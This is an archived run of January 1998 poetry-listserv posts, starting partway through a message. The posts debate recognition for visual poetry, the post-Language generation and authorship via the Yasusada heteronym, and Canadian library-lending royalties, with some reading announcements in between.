He asks me to offer an alternative. I'm not sure what he means, but I think I've shown what I'd like: more recognition for the visual poets I consider undeservedly disregarded. That would mean, mainly, a proper anthology of current visual poetry; visual poetry seminars that at least mention more than one or two of the group I'm pushing; critical volumes on the visual in poetry that don't prove their superficiality by bypassing almost everyone of importance in the field, and so forth. I might add that I have myself tried to provide an alternative over the years with my Runaway Spoon Press and the few writings on the field that I've been able to get into literary publications.

If Joel is really "dying to get schooled in what's so great" about my "crowd," I suggest he read some of the essays on visual poetry at the Light & Dust Site.

He might even take a look at my book Of Manywhere- at-Once, a copy of which is at the SUNY, Buffalo, library. I also have a pertinent essay or two at my Comprepoetica site. Better, he might just examine back issues of Industrial Sabotage, Xerolage, Score, Atticus Review and other publications of extremely small circulation that I expect he can find at that library, as well, and see for himself what "my crowd" has done.

I don't have time to argue the merits of Charles Bernstein's use of the visual in his work here. I admit that I am not familiar with his "Veil"--though I probably thumbed through a copy the one time I was able to visit Miekal's vizpobiz corporation in Wisconsin. I wonder, though, if it really did more than Mallarme's pre-visual kind of poetry. Even if I were proved all wrong about Bernstein as a visual poet, though, my original position would remain the same: with so many excellent but unrecognized visual poets around, why use a seminar supposedly covering visual poetry to push a near-celebrity in poetry like Bernstein instead of much-less-recognized visual poets like Karl Kempton or Harry Polkinhorn or Jake Berry--etc.? And why make the focus of such a seminar language poets who make some use of visual devices when you can have visual poets who use visual devices to a much greater--and visually-significant--extent?

Some of Joel's other comments are plain silly, like the one about my implicitly hoping one of the grad students in Perloff's seminar might sell the rights to something of mine to Disney. But if ONE person realized through her seminar what was really out there in vizpo, it'd be wonderful!

--Bob G.

Bob Grumman

[redacted] http://www.geocities.com/SoHo/Cafe/1492

Comprepoetica, the Poetry-Data-Collection Site

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772. Karen Kelley
(no subject)
Sat 24 Jan 1998

Hurrah to J. Kuszai for pointing out how often complaints about lack of literary recognition are actually crankiness over a perceived lack of status--

and hurrah to him for noting that status "is a terrybull figment of the imagination best done away with. 20 people in a seminar in Palo Alto doesn't constitute an audience."

That aside, I wonder what the prevailing feeling is re: the web vs. the book as a means for getting the poetic word out?

Karen Kelley

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773. KENT JOHNSON
The Key Club [or: The Museum]
Sat 24 Jan 1998

Is it possible that the generational anxiety vis a vis Language writing expressed by Mark Wallace, Steve Evans, and other impressively smart writers is the logical and inevitable result of younger poets trying to be "new" through an overly narrow reliance on _method_? While I ask this question tentatively (because I am not exactly steeped in the young turk critics), my sense from perusing the discussion is that this could be at the heart of the "problem".

How so? Young "post-Language" poets, like those represented in the anthology of Joseph Donohue, Ed Foster, and Leonard Schwartz (I'm sorry, I presently can't recall the title), are certainly wonderfully various and talented, and many of them will go on to be widely published and successful. But insofar as that young group (despite protestations) seems increasingly to Language writing as the Key Club is to Kiwanis, might it be due to this: that the horizon of poetic "experiment" and "originality" for this generational group is delimited by a deeply-ingrained set of institutional laws and protocols which (subliminally, for the most part) reduce and relegate aesthetic resistance to the printed page, that is, to strictly compositional method? The Key Club, to put it another way, puts itself in the position of polishing, tweaking, and refining paratactic, asyndetic, and juxtapositional frames of expression without any apparent thought to a sustained exploration of _conceptual displacements_ of institutionalized categories of authorship and the circulation of works.

This is sort of what I meant in my Hurrah post with my perhaps unfair reference to the young post-Language poet with conference name tag caught between two mirrors. It's also what I menat by my reference to Smithson's conceptualism, which is so powerful because it is at least a provisional move beyond--and "laying bare" of--the "museum." The Key Club, you might say, is still on guided tour inside the museum.

That's incredibly presumptuous of me to say, of course, and I'm sure the comment will be met with contemptuous silence, or, worse yet, by laconic and insouciant riposte with irony so subtle as to make the spring, at long last, go out of my rubber. But Hurrah for me, anyway, for being reckless and brash within the parameters of my own personal weaknesses and limitations!

*[But Aha!, someone out there is saying. There _is_ an obvious weakness and limitation in your "argument" --an argument which clearly attempts to make up for its theoretical thinnesses through transparent rhetorical affectations that

are the marks of a latecomer trying to ingratiate himself with powerful poets like David Bromige: For didn't you say (says the person who said Aha) that "Robert Smithson" succeeded in moving outside the museum? In other words, didn't Robert Smithson attribute his works to "Robert Smithson"? So why shouldn't _we_ sign too?]*

[Good question, Jordan. But you see, I said "provisional". Robert Smithson's work, though his example still shimmers and glows like a jagged frag from the Roswell ship, has been slowly sucked, through the keyhole of his own name, back into the museum. In fact, beauty of beauties, there is even something now called "The Estate of Robert Smithson." This is why.]

OK, now many of you know that I am involved in an infamous work that deals at least implicitly with some of these questions, so allow me to elaborate on what I mean above through the following quote from an interview where some of these matters are tentatively discussed. And I promise, promise, that I will never, never raise the issue of Araki Yasusada on this list again, unless someone else specifically asks me to, and I'm pretty sure that that won't happen, so don't worry. OK? OK.

Here's the "quote", slightly revised and expanded for my purposes here:

"To what extent are the mechanisms of the 'poetry institution' unconsciously inscribed in the "scandal" the Yasusada has provoked? There is, after all, a very hierarchical market relationship in American poetry, involving publishers, jobs, grants, writing retreats, reading circuits, gossip mills, social events, and so on. All of this is not incidental to the writing and its circulation and evaluation, but the very matrix within which it takes place. In short, it determines, in all sorts of subliminal ways, what counts as good. And the keystone of it all is the function of authorship. Isn't it obvious that without secure, self-centered names to attach to works that the whole institutional edifice touched on above would simply collapse? The Yasusada writings stand, on one level, as a tiny retort to this current order of business--a business which operates as much in the circles of the 'avant-garde' as it does in the 'academy.' The author function is the ideological linchpin that theory has identified, but which 'avant-garde' oppositional creative practice has not yet imagined taking on."

I don't in any way mean that heteronymous gestures like Yasusada are the only path leading out of the museum. To the contrary, Yasusada is quite tentative, awkward, and pathetic in a number of ways, even perhaps, in the current climate, self-defeating. Nor do I necessarily mean that poets everywhere should no longer attribute their personal names to their works. It is inevitable that the great majority always will. What I'm talking about is a true lack of iconoclastic, _conceptual_ panache in new writing. What I'm saying, and to put it in an old fashioned way, is this: as long as the institutionalized mode of authorial

production goes uninvestigated and unchallenged within the 'avant-garde' community itself, the poetic relations of circulation, value, and exchange within it will not be qualitatively transformed. The Key Club will always be the Key Club.

[Interjection: I am sounding very unreasonable to most of you right now: i.e., Can this idiot _really_ be saying that we shouldn't take credit for our own poems?]

The challenge, it seems to me, is pretty broad, full of multiple, unforseen possibilities of experiment ("Alan Sondheim," in his manifold incarnations and disseminations through electric space is one exciting example), and it is a challenge that the Language movement itself opened up with its insistent critiques of the "self" and the "I". (Now, of course, all that seems effectively dead for that older group: witness, for ironic example, the last issue of Aerial, which carries on its spine the largest font-size personal name in the history of poetry.)

Is what I'm saying (or trying to say) utopian in the extreme? Yes. Is it unrealizable as wide-open option for individual and collective imaginative praxis? No. Let me end this mother of long posts with the following observation: Along with Smithson the other day, I invoked the Russians, and they are the ones to look to here. Thinkers and poets like Mikhail Epstein, Dmitri Prigov, Alexei Parschikov, Yakov Abramov, Ivan Solovyov, and others, have been seriously working for some time in investigating the creative possibilities of what Epstein has called "hyperauthorship", not at all taking for granted the unwritten law of the name. Post-Language poets reflecting on their position and status should check them out. The promise of cross-cultural 'avant-garde' exchange evoked by the book _Leningrad_ need not only be limited to those who have secured their individual names in the canon by proclaiming with sophistication that the "I" and the "self" is a construction of language.

Leave them behind, young poets, to roll in the deodorized aromas of their own careers and names! Go forward young poets, for the day is young and it belongs to the young! Don't be anxious any more, for that is only a trick of language!

I'll right, I'm losing it here. But seriously, Hurrah for the Russians, misunderstood, libidinal, and alone.

Kent

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774. **J. Kuszai**
My Bob Grumman
Sat 24 Jan 1998

Bob, I'm sorry that you're sorry that I had to decide to be hatchet man on this job. But, I'm also sure that you know how it feels when it is patently obvious

that there is a job that needs to be done. In the absence of a few good men and women to accomplish such a job, one must undertake the activity oneself. And yes, I don't want to be misunderstood on a few accounts here, for while I don't mind being misunderstood most of the time, I don't want you to think that I haven't appreciated, applauded and admired your work with Runaway Spoon, and the like. So kudos to you--your press gets to the heart of the kind of activity which I would seek as the very alternatives to the mainstream/dominant, blah blah blah, poets in power that so aggravates you. What I don't understand is why you want a piece of that pie. The value of the languageblobs (since they've all been lumped together here, it's just one big blob) it seems to me was the creation of a separate economy of poetry production, distribution, etc. We all know the story. When I worked up in the poetry rare books collection (back in 92-93) I catalogued magazines, noting when issues were missing etc. Despite what Katy Lederer says in her review of Meow Press, that was the closest I got to being a part of the largest crime in the 20th century. (I don't have it with me as I don't have a copy of the PPN, so that is a rough paraphrase). The point of this anecdote is that I came to see how the various poets later affiliated with a "movement" such as languageblob poetry found each other from discrete universes and universities often scattered among negligible zines or often, in the case of mags such as Truck, started by David Wilk (I believe while at Yale U), fledgling small startup outfits run on mimeo etc. There was no grand conspiracy to take over anything, just similar tendencies and responses to a set of circumstances as various as the "New American" poetry to the political upheavals at the end of the 60s. Despite whatever feeling you might have about that historical phenom, the point for me has always been the empowerment I felt by that example. And this is exactly what I feel when I run into things like Runaway Spoon, or Abacus, or The Impercipient, or whatever. These moves are extremely important to me. So when I ask you, Bob, for alternatives, it is simply because you and my pal Bill Howe here in the buff, are offering a separate economy of such production and networking. I was always amazed when my fiction writer friend Lara Stapleton, now running a series at the Nuyorican by the way, wanted to send her stories to Playboy, thinking that to be the benchmark for acceptance, fame, blah blah blah (ringing in the ears) for a young fiction writer. I'm surprised, therefore, that your attacks on Perloff aren't addressed to the New Yorker, which it seems, offers a similar standard of "having arrived." My complaint with her--and this goes back to the late 80s, when her story printed in my mag BigFireProofBox (edited with the late Christopher Ide) was cited by the one-and(hopefully)-only Grill Marcus as being "1000 times as punk as the line it attempts to erase." Lara, I thought, thought develop a group of friends, a network of cohorts, working within the "underground" (which I don't romanticize, but which seems to me to be the necessary precondition of ferment out of which serious "change" ((of all flavors)) is bound to occur. Lara disagreed,

although now I think she understands this, and has developed such a group of people whose work she considers "The Shit." (my term not hers, btw)

OK--so that is a giantsized disclaimer to the hatcheting you think I am involved in here. Let me get to a few of your points.

> *I was wondering when I (and the other "vizpobiz boys" out there like Bill Howe) would be properly chopped up by someone on the other side of this question. I'm sorry it had to be Joel Kuszai who decided to be the hatchet man, as I've admired what he's done with Meow Press and elsewhere.*

Elsewhere? What the hell have _I_ done?

> *In response I note that Joel went on the offensive, attacking me and my group rather than responding to my mock language poetry seminar and showing how it failed properly to parallel Perloff's seminar. For instance, is Charles Bernstein really more of paragon of visual poetry than Richard Kostelanetz is of language poetry?*

I'm sorry I didn't understand your mock seminar, but I truly didn't. And because I'm not interested in splitting hairs over the languageblob poets, but your canon of languageblob poets was pretty much unrecognizable to me. Part of my job as a member of Saddam Hussein's Elite Imperial Guard is to diffuse the reception, dissemination and yayaya of such a canon. I don't buy it and more importantly, I don't read it that way. So given that, your "equation" pretty much didn't work for me. I'm sorry. I got the point, and appreciated what you were trying to do, but because such a "plug-in" doesn't work on my 1988 mac2cx, I couldn't respond. I could have said "huh?" but I felt it best to leave it drop, so to speak.

> *He asks me to offer an alternative. I'm not sure what he means, but I think I've shown what I'd like: more recognition for the visual poets I consider undeservedly disregarded. That would mean, mainly, a proper anthology of current visual poetry; visual poetry seminars that at least mention more than one or two of the group I'm pushing; critical volumes on the visual in poetry that don't prove their superficiality by bypassing almost everyone of importance in the field, and so forth. I might add that I have myself tried to provide an alternative over the years with my Runaway Spoon Press and the few writings on the field that I've been able to get into literary publications.*

I think I've addressed this. Kudos again. This is the kind of action that will be properly recognized as people like Bill Howe and myself grow up into properly functioning critical citizens--and there are many more kritik-kids who are looking for something to believe in. So serve it up Sammy.

> *If Joel is really "dying to get schooled in what's so great" about my "crowd," I suggest he read some of the essays on visual poetry at the Light & Dust Site. He might even take a look at my book Of Manywhere-*

> *at-Once, a copy of which is at the SUNY, Buffalo, library. I also have a pertinent essay or two at my Comprepoetica site. Better, he might just examine back issues of Industrial Sabotage, Xerolage, Score, Atticus Review and other publications of extremely small circulation that I expect he can find at that library, as well, and see for himself what "my crowd" has done.*

I've seen what your crowd has done. I'll go back and read the explanations. Thanks for the tip. Don't hesitate to tell me the answers. I'm terrible on tests!!

> *I don't have time to argue the merits of Charles Bernstein's use of the visual in his work here. I admit that I am not familiar with his "Veil"--though I probably thumbed through a copy the one time I was able to visit Miekal's vizpobiz corporation in Wisconsin. I wonder, though, if it really did more than Mallarme's pre-visual kind of poetry. Even if I were proved all wrong about Bernstein as a visual poet, though, my original position would remain the same: with so many excellent but unrecognized visual poets around, why use a seminar supposedly covering visual poetry to push a near-celebrity in poetry like Bernstein instead of much-less-recognized visual poets like Karl Kempton or Harry Polkinhorn or Jake Berry--etc.? And why make the focus of such a seminar language poets who make some use of visual devices when you can have visual poets who use visual devices to a much greater--and visually-significant--extent?*

Tell me more. This is getting closer to what I need to know about what your crissakes gripe is. Obviously Miekal thought enough of the yungin CB to publish him. I guess what I mean by "alternatives" in this space would be to offer up an online seminar, with much lecturing, analysis, and description. I am unable to attend to much of the online material availble from my cave in buffalo. Please tell me what the problem is with doing something akin to the "previsual" work of Mallarme...and I'm not trying to offer up Charles as a visual poet, or even a language poet for that matter. Again, he IS the leader of the languageblob poets, so whatever he says goes. But when you put on your decoder glasses, I think you'll find that the blobs are really specks. Whatever power charles has is potentially a real problem. Your hesitancy (and Bill's) to rip on him is sympomatic of that wierd paranoia about such power.

It also brings up another, related point. As a listmember since the olden times of 1993-94, I've noticed that everytime someone brings up some kind of oppositional or dissenting view with regard to languageblob poetry, it is assumed that we the Coporation for National Poetics will edit, censor, or delete such opinions from the discussion on this listserv. Only once has anyone ever been removed for bad behavior, and the Red Slider affair last summer led to the institution of a few policys (I should say enforcement of already established policies) which aint bad for a list with almost 600 people subscribed and who knows how many actually reading. This list could be moderated, and it isn't. So think about that.

Think about all the private, subset, lists out there which exist because people can't handle all the noise on this channel. But y'all have been great these last weeks, so you'll all receive a candy in your mailbox.

> *Some of Joel's other comments are plain silly, like the one about my implicitly hoping one of the grad students in Perloff's seminar might sell the rights to something of mine to Disney. But if ONE person realized through her seminar what was really out there in vizpo, it'd be wonderful!*

But this issue is related to the question of power, status, and the anxiety about where it resides in the poetry world. My question about the Stanford grads is a serious one. Maybe you should find out who they are and canvas them. This has worked in seminars where I was unhappy with the material...perhaps you could send them a series of URLs or a photocopy packet of your own. It is rumored that you have a xerox machine in your house, so that wouldn't be putting you out. But I'm serious about the Disney thing. Since summer, I've been trying to sell Meow Press, it's title list, the whole lot. Only a few offers so far. A subsidiary of Disney (actually a sub sub subsidiary of ABC made me an offer, but it wasn't a full buyout). I have tried to make the press friendly to such a takeover, one which would leave me still doing the design work . I was actually hoping that Messerli or his ilk would have stepped in, as I still have that revolutionary fever, but alas, only some guy named David Milch (sp?) called me looking to see if Charles B. and Ben Yarmonlinsky wouldn't mind having THE SUBJECT done as Simpsonsesque miniseries...

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775. **Henry**
Re: fri. night Poetry Wars
Sat 24 Jan 1998

Luigi, the points you make relate to what hit me after sending that post, which is that "movements" themselves have a certain "synthetic, teleological" energy. I didn't mean to suggest that groups simply generate mechanical repetition. But I think there's a tendency to over-rationalize art movements; the moves or manifestos are always as limiting as they are liberating. Again, I insist that the really great art releases something via a synthetic process in which the rational or strategic will is in abeyance rather than control. Or at least "in collaboration".

I just finished reading PhillyTalks #3. I'm sorry not everybody on the list has access to this; it's a discussion between Ron Silliman & Jeff Derksen, along with some creative work by each. As many of you know (it's been discussed here before) Ron, among other things, gives a historical view on his work in connection with language poetry & what comes after or should. He's also moving &

eloquent about the state of the world (& the US) & the consequent moral issue for writing & poetry. He blames "habit" for what I would call indifference, selfishness, callousness (there are good habits) - the passivity which allows even greater evils to take root. The role of the artist is a prophetic one: to combat complacent habit & challenge mass culture by means of estrangement.

He places language poetry within this tradition but is clear-sighted about it's time-bound function (as I tried to point out a couple days ago with the idea that the "elders" themselves see that their own techniques no longer match the current political atmosphere), and he raises the question, why has there been no comparable "90s" "crystallization" of artistic energies? (This has become a provocative issue on the list, as everybody knows following Steve Evans, Mark Wallace, & other's posts.)

I don't think he was aiming to answer the question right then & there, but his approach toward an answer seems in keeping with both his own & Jeff Derksen's general perspective. He says: perhaps it has to do with the decline of the national state & the rise of the global economy (this is a rough paraphrase).

What strikes me in both Ron's & Jeff's statements is how saturated they are with socio-political critique. It is a given that the organization of society as we know it is a kind of irredeemable hell. Derksen refers to a forthcoming essay by Sianne Ngai which purportedly contrasts an aesthetic of pleasure with an aesthetic of "disgust & overdetermination". This is an understandable reaction to a world culture supersaturated with information in the form of "bad news", but I would think (I haven't had a chance to read the essay yet!) it's not enough for a strong aesthetic; the literature of disgust and condemnation might be valid and appropriate, but when it becomes a fashion, a movement, a ruling style, etc., it's a sort of contradiction in terms. The dangers of such an aesthetic would include the tendency to become purely (&self-righteously) rhetorical, as well as to lose a self-critical edge: anything that critiques "the way things are" is justified as "art". I think we are all familiar with this trend in the arts.

By suggesting a socio-political explanation for why a "new crystallization" on a par with language poetry has not yet occurred, Ron is following this trend. & I would argue that the answer to his question - where a new development is to be found - has already been supplied earlier in the dialogue; by Ron himself, when he talks about all art as a "tuning of the senses" via an overdetermination, if you will, of stimulae; and by Jeff, when he argues that the political impact of estrangement is not supplied so much by disjunction as by "radical _conjunction_" - the JOINING of dangerous taboo political contexts within the energy of clear artistic description (& Derksen uses examples from Silliman's own work to illustrate).

I would argue that an aesthetic of pure critique, not firmly grounded in artistic processes, ends up one-sided and rhetorical. As I suggested in a previous post, art is a kind of uncanny energy which spins out of the artist's full control but brings joy in the process - a joy which spreads & subsumes critique & re-orients everything in its path. This is Whitman's daemonic Laugh coming from the Rockies. It becomes a super-synthesis of speech/drawing/voice/gesture - not a move-in-reaction to previous trends but a kind of perennial activity. It is with such a synthetic approach, giving full weight to the artistic process in itself, which I would posit the current generation is already engaged & which could be "crystallized" in recognizable academic-literary-historical format suitable for framing anthologizing & convertible into deadhead bears if you like. - Henry Gould

p.s. "no poetry after the Holocaust". a human reaction (from a critic). Ron's diatribe against American evils is EXACTLY right. Right as a diatribe. But art built on political critique - it doesn't work. The poets who died in Chile, Russia, Spain, for being poets... they were poets, first of all. Poetry is its own thing - this is the mysterious wonder of it, its limitation and infinity. Only those who understand this limitation can humanize it in the way Ron has; without the human element, of course, it's empty wind, a clanging cymbal, Ivan the Terrible's court jester. We've all seen enough of that.

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776. **Nuyopoman**
Wieners as PerfPo
Sat 24 Jan 1998

<< Wieners's BEHIND THE STATE CAPITOL, published mid-70s (the writing itself, I think, covering several earlier years, possibly back into the 60s), though filled with richly sonorous poetry, is also filled with non-verbalizable ("purely" visual) experiments with typography--not to mention lots of collaged things from newspapers, magazines, & Wieners's own photos.>>

Saw (heard?) Cecilia Vicuna the other night at "World of Poetry" series (Tuesdays at Biblios, NYC, thru Feb), and was rebounded to a Wieners reading at the Church, must've been in 75? 76? CV was doing something I hadn't heard since that reading (the pews were still there; this was before the fire) -- she read poems in a continuum, with whispered obliggatti and trilled repetitions as she moved forward and back among the poems to construct the evening's ritual.

JW's was hardly a ritual. More like voicing all transmission waves as they passed through his body. These were the "non-verbalizable" elements of BEHIND THE STATE CAPITOL, verbalized.

Just as Artaud's "No More Masterpieces!" dictum made his "non-performable" "masterpiece/nonmasterpiece" "Jet of Blood" a required piece for all Poets Theaters, the so-called non-verbalizable just set the perf-po's lips aquivering, ready to go at it. I've been eyeing "The Liberties" for a while now, and "Shadow Train."

Bob Holman

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777. Joe Ahearn
Re: fri. night Poetry Wars
Sat 24 Jan 1998

Hi Henry,

> *I just finished reading PhillyTalks #3. I'm sorry not everybody on the list has access to this*

So where can I get access to this? Is it online anywhere? Is it orderable somewhere?

> *It is with such a synthetic approach,*
> *giving full weight to the artistic process in itself, which I would posit*
> *the current generation is already engaged & which could be "crystallized"*
> *in recognizable academic-literary-historical format suitable for framing*
> *anthologizing & convertible into deadhead bears if you like. - Henry Gould*

Thank you for your irony here, Henry. I suppose I am part of this "new generation" and these worries about "crystallization" or not "cystallization" frankly mystify me. ('I have brought the great acorn of crystal / who can lift it?' or whatever EP said.) Why? Well,

a) there is a hell of lot of "crystallization" going on, in that many of the presses and magazines are just as controlled as they ever were by people intent on COW POEMs... and the rest are controlled by the new alternative dominant hegemonic STYLE musheads .. and the rest are controlled by the next newest dominant hegemonic STYLE mushheads... etc.c. etc. etc. layers and layers of mushheads as high as the sky with nothing but accreted centuries of COW POEMS on top, world without end, amen; your CRYSTALLIZATION is my OLIGARCHY:

that is, why worry about artistic cohesion when ten kazillion MFA poets are each writing one million poems a year trying to get into the Paris Review and of the few hundred or few thousand lucky poets who are publishing (me among them), NONE (statistically speaking) are being read anyway? That is, NOMAN

reads with his one good eye as he munches sailors for breakfast and he don't want any avant-garde poetics, son...

b) there really are fewer and fewer places to publish, period, even if one does write COW POEMs

c) i would be HAPPY for an audience of twenty at Stanford including Marjorie Perloff; that is, THE AUDIENCE, what AUDIENCE, if you want an AUDIENCE, there's Mick Jagger, go learn to play guitar

d) goddam it, we're all working ourselves to death making a living--nice cushy academic jobs? forget it... i have to work 52 weeks a year just like every other middle class yahoo tied at the gut to the Great Satan Capitalist Wheel--and we're running our presses--which we get damn little interest in from anyone, especially including the concerned Crystallized graybeards who have already made careers mumbling about theory--and we're raising our kids and GODDAM IT we're in the middle of all this trying to do our own work and further our own educations--yes I do read Raymond Williams at 2 AM after a long workday because THERE IS NO OTHER TIME TO DO IT--and the whole thing is goddamned exhausting trying to write a few dozen NEW poems in the middle of this ongoing pigfuck of a civilization and these MORONS are lamenting the lack of CRYSTALLIZATION, ELAN, great culture-transcending elegant congeries of what bald headed buddhists writing language poems? Please.

I mean at the rate things are going, I won't be suprised when Happy Bill announces that due to problems with bitching, pomposity, and perpetual hair-splitting internecine wars the US will now be IMPORTING all its POETRY from MEXICO, thank you very much, fast cheap and happy little poems good for the balance of payments and those GODDAM MEWLING POETS can just report to Wal-Mart for RE-EDUCATION starting now.

Joe Ahearn speaking,
Rancho Loco Press
Dallas
Crystal Center USA

~~~
~~~

must be some kinda kozmic echo in here, as the beautious dos-a-dos _QUIPome/The Precarious: The Art and Poetry of Cecilia Vicuña_ (wesleyan univ. press) just came in th mail... prime evidence fr the physical gesture as gestator ov posie... wisht i coulda been there w/ ya...

& hey, list, since bob's name just came up:

> *What: Bob Holman Chat in the Poetry Super Highway Chat Room*
>
> *When: Sunday January 25, 1998, 2pm (Pacific)*
>
> *How: Click on PSH Chat room from the main PSH page.*
> *http://www.loop.com/~rickpoet*
> *(You need a Java Capable Web Browser)*
>
> *The Poetry Super Highway turns one year old this month and helping us celebrate will be New York Poet Bob Holman. Bob's work will be featured as Featured Poet this Monday through next Sunday and Mr. Holman himself will venture into the Poetry Super Highway Chat Room tomorrow (Sunday January, 25) between 2 and 3pm (Pacific Time) to meet and greet all who stop by. Bob will be discussing the work from his upcoming Spoken Word CD (April, Mouth Almighty/Mercury) called "IN WITH THE OUT CROWD."*

lbd

> *<< Wieners's BEHIND THE STATE CAPITOL, published mid-70s (the writing itself, I think, covering several earlier years, possibly back into the 60s), though filled with richly sonorous poetry, is also filled with non-verbalizable ("purely" visual) experiments with typography--not to mention lots of collaged things from newspapers, magazines, & Wieners's own photos.>>*
>
> *Saw (heard?) Cecilia Vicuna the other night at "World of Poetry" series (Tuesdays at Biblios, NYC, thru Feb), and was rebounded to a Wieners reading at the Church, must've been in 75? 76? CV was doing something I hadn't heard since that reading (the pews were still there; this was before the fire) -- she read poems in a continuum, with whispered obliggatti and trilled repetitions as she moved forward and back among the poems to construct the evening's ritual.*
>
> *JW's was hardly a ritual. More like voicing all transmission waves as they passed through his body. These were the "non-verbalizable" elements of BEHIND THE STATE CAPITOL, verbalized.*
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> *Just as Artaud's "No More Masterpieces!" dictum made his "non-performable" "masterpiece/nonmasterpiece" "Jet of Blood" a required piece for all Poets Theaters, the so-called non-verbalizable just set the perf-po's lips aquivering, ready to go at it. I've been eyeing "The Liberties" for a while*

> *now, and "Shadow Train."*
>
> *Bob Holman*

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779. Kevin Varrone
Philly Readings
Sun 25 Jan 1998

To all those in the Philadelphia area:

5 Corners Reading Series Presents:

LOUIS CABRI
&
RACHEL BLAU DUPLESSIS

Thursday, January 29th, 8 p.m.
At: George's 5th St. Cafe
(Corner of 5th and Gaskill Streets--between Lombard and South)
Phone:215/[redacted]

(Coming in February: Julia Blumenreich & Ron Silliman)

Hope some of you can make it.
Kevin.

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780. Jordan Davis
Allied Colloids
Sun 25 Jan 1998

Kent --

Thanks for the kind words, and also for the advice, which ever since Lee Ann Brown's computer spell-checked my name into Jordan Advise, I've been awaiting. There's a huge fire burning down at Chrystie and Delancey as I type this; I hope it's not at Sammy's Rumanian Steakhouse. Your comment that new poetry offers little opposition to anything except a relatively restricted band of previous poetic practice (am I getting this right? my reading comprehension scores were always so-so) (you know Queen Victoria's comparison of Gladstone and Disraeli? with Gladstone she felt as though she'd had dinner with the smartest man in the world; while Disraeli made her feel like the smartest woman in the world) arrived on my machine around the same time Chris Stroffolino's remark about the B Mayer interview in the PPN -- that it's good to see a poet offering opposition not just within the frame (coff coff) of poetic practice but with her

life (and I'm pretty sure I'm not getting that right). I'm going to leave aside the part about which generation had the best sex (nobody, not even the president has such...never mind) long enough to say yes, inasmuch as the traditional avant-garde forms of production and distribution have been withheld from younger poets for lack of credential mastery ear whatever younger poets have gone out and manufactured substitutes -- for writing styles, for subject matter, for reading series, for books magazines pamphlets bumper stickers ugh. You're saying, I take it, that Yasusada is an attempt to wake us up to the possibility that the whole factory of presentation can go fall in a swamp (pronounced so as to rhyme with on-ramp). We know that. Over on the CAP-L list not long ago Al Corn had some other issue maybe somehwaet less sophisticated to argue -- I think it was that the style one chooses is like the house one decides to buy: a colonial, a Cape Cod, an infundibuliform corolla. The thing is, even if it is a sort of boat in the mud, a house doesn't seem like that bad a thing to get, if it can be done. And Joel, I suppose a book is only for the author to have a warm feeling in his tea, as much as a poem is -- but if there's a book, the feeling can go many places at once, which is a goal of the best human commerce, no? Blame is not that interesting. Furthermore publishers, like the beloved, seem to seek out what reflects them at least a little. To mock my own logic, you could say that if we were really going nowhere the language poets didn't go, we'd all have books announced 3 yrs ago from Sun & Moon sure to arrive in stores any year now, and who knows! Isn't it funny when the word "pervert" shows up in poetry? What could be more perverse than to be a poet, and yet, and yet, "perverted acts in pastures" and "beware of boys in tight pants/ they are perverts". Which is (I guess way too obliquely) to say that although the younger writers mentioned all thru this discussion (and I suppose the older ones too) do in fact show up on time for work, hustling through the conventions, passing mss. around all while studying ukelele and ornamental guava freestyle politics and all the other apparently Kiwanis-style secret handshakes, we also have lives (or not), we also have sex (or not), we also play around with conventions of authorship (or we make art). The part you see is (as you are sublimely aware, Kent Johnson) only the part you see.

Which brings me to a technical question -- I understand that Bernadette's against monogamy, but does her cited defense -- that a woman would have to love washing and cooking for it to work -- does that defense at once rile and disappoint anyone else? Seems to me the real argument against monogamy at this late date is not that women are expoitable for household labor (which I don't doubt) but that the rewards for monogamy -- avoiding noxious life-threatening shaming, paper after the first year, rocks on the 2nd anniversary, swivelchair coasters on the 3rd etc -- seem to be dwindling all the time.

Dwindling all the time,
Your colloid

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781. david bromige
pre-emptive hiccup
Sun 25 Jan 1998

I just watched a family movie dull enough to cause me to drink the fatal martini (the 3rd), in the interests of, y'know, family togetherness. I forget the name : a nice-looking young man murdered people for a living (oh, it was "Grosse Point Blank") while reconstituting himself via a highschoolreunion/sweetheart. What made my wife laugh the most is always of interest to me : in this case, when two systems of representation intersect, one where the hero is killing people by whanging lead into their tissue with guns and the other where he is begging her for just one more chance of soft mammal/human consideration/"love", and the director/editor cuts back and forth between both. I always wonder about her,at such times, and therefore, about myself (and then i think hard for all of us). But that isnt what I set out to say.

I only wanted to say (1) that Kent Johnson's posting y-clept "The Key Club" sounds important and so please read it w/o prejudice. I myself intend to address it in some substantial way tomorrow if not too harried by door-to-door professional killers wanting to crash my superbowl party. But/and (2), PLEASE everyone remember some of us have sadly inadequate software so please dont post posts as lengthy as this one Kent just posted. Break them down into 2 or more portions.

Btw, isn't Kent great? Whatever yr disagreements (and he often finds me disagreeable), try to imagine this list w/o him.

David.

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782. david bromige
p s
Sun 25 Jan 1998

well i thot kent's was long until i saw joel's. Have mercy! Not that i didn't enjoy it, once i got my software to download it. Don't y'all think the List is getting hot? If only I weren't subject to one of my megrims right now!

George Bowering
2657 West 124th St
Vancouver

NY
Newfoundland
Botswanaland
ICU UCM
Parallel World
The Cosmos

P S : Joel, I'd sooner have my chocolate mint on my pillow

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783. david bromige
how grants shape books
Sun 25 Jan 1998

---

picking up a thread via Harold Rhenisch from 3 days since (it's been hectic List-wise!), I'd like to mention the Canada Council's program that pays authors royalties for their books that are held in libraries. Half a dozen Canadian libraries (which, shifts) each year are checked, and for each book there written by an author who has signed on with this program, that author receives what is termed a "hit," the value of which varies somewhat from year to year, but so far has approximated CAN $33. There's a ceiling of CAN$4,000 per author per year.(So that, for e.g., someone like George Bowering, with his phenomenally long list of titles, must each year hit the ceiling before his output is exhausted).

Too bad, btw, that no such program exists in the USA.

When the program began, no limit was set as to the length of the book. But the program quickly became so costly that the Council had to insist that, henceforth, nothing 48 pp or less could be considered a book. This, they said, was a defintion used by UNICEF.

I believe that by this definition, neither Wordsworth's _Lyrical Ballads_, nor Rilke's _Duino Elegies_ was a book.

Obviously, this must encourage Canadian authors and publishers to make sure their books are at least 48 pp long. Or so one assumes. Perhaps a study has been done on this score. I agree with some recent posts to this List, that comparisons in the matter of physical length are odious to civilized people (I suppose because thereby primacy is accorded to the animal over the civilized), and it is unfortunate to find a governmental agency being forced, via economic necessity, to adopt such an arbitrary standard. Happily, though, to end on the upbeat, no reward is offered for mere length-------4,448 pp warrant no more than 48. David

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784. **david bromige**
p s
Sun 25 Jan 1998

Sorry. I should have written "less than 48 pp". David.

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785. **Miekal And**
Re: texas poetry listserv
Sun 25 Jan 1998

Tim Wood wrote:
>
> Hello all!
>
> We've started the Texas Poetry ListServ. If you're interested in
> discussing poetry in Texas, read on;

what I wanna know is is Jack Spandrift a texas poet, or does he just talk that way?!

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786. **bertha**
Re: how grants shape books
